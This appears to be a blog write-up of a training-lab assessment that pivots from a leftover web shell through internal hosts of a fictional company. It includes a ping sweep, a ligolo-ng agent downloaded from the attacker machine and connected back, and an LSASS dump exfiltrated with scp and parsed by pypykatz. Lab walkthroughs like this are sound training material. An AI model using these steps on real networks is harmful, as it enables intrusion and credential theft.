Pivoting, Tunneling, and Port Forwarding: Skill Assessment

6 min readJul 11, 2026

Scenario

A team member started a Penetration Test against the Inlanefreight environment but was moved to another project at the last minute. Luckily for us, they left a web shell in place for us to get back into the network so we can pick up where they left off. We need to leverage the web shell to continue enumerating the hosts, identifying common services, and using those services/protocols to pivot into the internal networks of Inlanefreight. Our detailed objectives are below:

Objectives

Start from external (Pwnbox or your own VM) and access the first system via the web shell left in place.
Use the web shell access to enumerate and pivot to an internal host.
Continue enumeration and pivoting until you reach the Inlanefreight Domain Controller and capture the associated flag.
Use any data, credentials, scripts, or other information within the environment to enable your pivoting attempts.
Grab any/all flags that can be found.

Initial Connection

We will get a web shell on the IP; we can simply open Firefox to access it.

Ok Let’s Start

Question 1

Once on the web server, enumerate the host for credentials that can be used to start a pivot or tunnel to another host in the network. In what user’s directory can you find the credentials? Submit the name of the user as the answer.

First, I poked around the system and found two users:

administrator
webadmin

And in the home directory of webadmin, we will get two files:

for-admin-eyes-only
id_rsa

In this file, we get the credentials: “for-admin-eyes-only”

Question 2

Submit the credentials found in the user’s home directory. (Format: user:password)

Simply start a Python HTTP Server there and download the files

python3 -m http.server 7000

Now we can simply access those files using IP:7000 on firefox.

In for-admin-eyes-only, we get the credentials of a user that can be used on Server-1

Question 3

Enumerate the internal network and discover another active host. Submit the IP address of that host as the answer.

Now that we have id_rsa, we can log in as webadmin via SSH. We need to change its permissions using chmod.

chmod 600 id_rsa

Then log in via ssh

ssh -i id_rsa webadmin@10.129.229.129

By running ifconfig we can see that this host is also a part of an another internal host.

Now, to find other hosts in this network, I used a one-liner for-loop. Basically a Ping Sweep

for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done

Press enter or click to view image in full size

Question 4

Use the information you gathered to pivot to the discovered host. Submit the contents of C:\Flag.txt as the answer.

Now, to answer this question, we need to set up this host as a Pivot Host and connect to the Other host [172.16.5.xx]. For that, I am using Ligolo-ng, and kudos to the project; it helps me a lot in pivoting.

Simply download the Agent and Proxy files from the releases for your host.

wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz

Extract the files

tar -xzvf ligolo-ng_agent_0.8.3_linux_amd64.tar.gz
tar -xzvf ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz

Now we will share the Agent file to the webadmin host using Python HTTP Server.

python3 -m http.server 9000

wget http://10.10.16.68:9000/agent

Now we will set up the proxy server on the attack host.

Create the TUN interface

sudo ip tuntap add user <your_username> mode tun ligolo
sudo ip link set ligolo up

Then start the Proxy server

./proxy -selfcert

Now we will connect the agent to the proxy server

agent -connect <attacker_ip>:11601 -ignore-cert

Now as we can see in the image above the connection as been established but we need to start this from the proxy server.

session
[Insert the number of the Session]
start

Now we need to configure the routes

Get Anirudh Kodesia’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Identify Internal Networks Inside the Ligolo-ng prompt

ifconfig

Now, add the routes on our attack host. Open a new terminal

#Syntax
sudo ip route add [SUBNET] dev ligolo
#Command
sudo ip route add 172.16.5.0/24 dev ligolo

We can test whether our pivot is successful or not by pinging the webadmin host.

ping 172.16.5.15

Having successfully established the pivot, we can now move forward.

Now I am using Remmina to RDP into the host with the credentials we found previously, since I found that port 3389 is open on that host.

nmap -Pn -T4 -A -oA interhost1 [IP]

Then, we can simply get the flag in the C: directory.

Question 5

In previous pentests against Inlanefreight, we have seen that they have a bad habit of utilizing accounts with services in a way that exposes the users credentials and the network as a whole. What user is vulnerable?

Hint: We may be able to find something stored in LSASS.

Now we need to dump the LSASS and I’m using the Task Manager Method to do so.

Simply open Task Manager
Search for Local Security Authority Process
Right-click on that
Choose Create dump file

Then we can download this dump file to our attack host and use Pypykatz to extract the credentials. As SSH is also open on this host, we can use scp.

scp -O user@[IP]:"C:/Users/xx/AppData/Local/Temp/lsass.DMP" .

Now, to install Pypykatz. We will use a Python virtual environment to install it.

python3 -m venv [name-of-project]
source [name-of-project]/bin/activate
pip3 install pypykatz

Now, to dump the credentials

pypykatz lsa minidump lsass.DMP

Here we got the credentials of one more user, which is on another host.

Question 6

For your next hop enumerate the networks and then utilize a common remote access solution to pivot. Submit the C:\Flag.txt located on the workstation.

Now, for this, we need to find the IP address of the host on that internal network. Now, again we need to run a one-liner for-loop, but this is for Windows CMD.

FOR /L %i in (1,1,254) do @ping -n 1 -w 200 192.168.1.%i | find "TTL"

In this command, change 192.168.1 with the subnet. And try to run this command twice or more to find the hosts, and in the first try,it didn’t find the host. I think at first it tried to build the cache or something.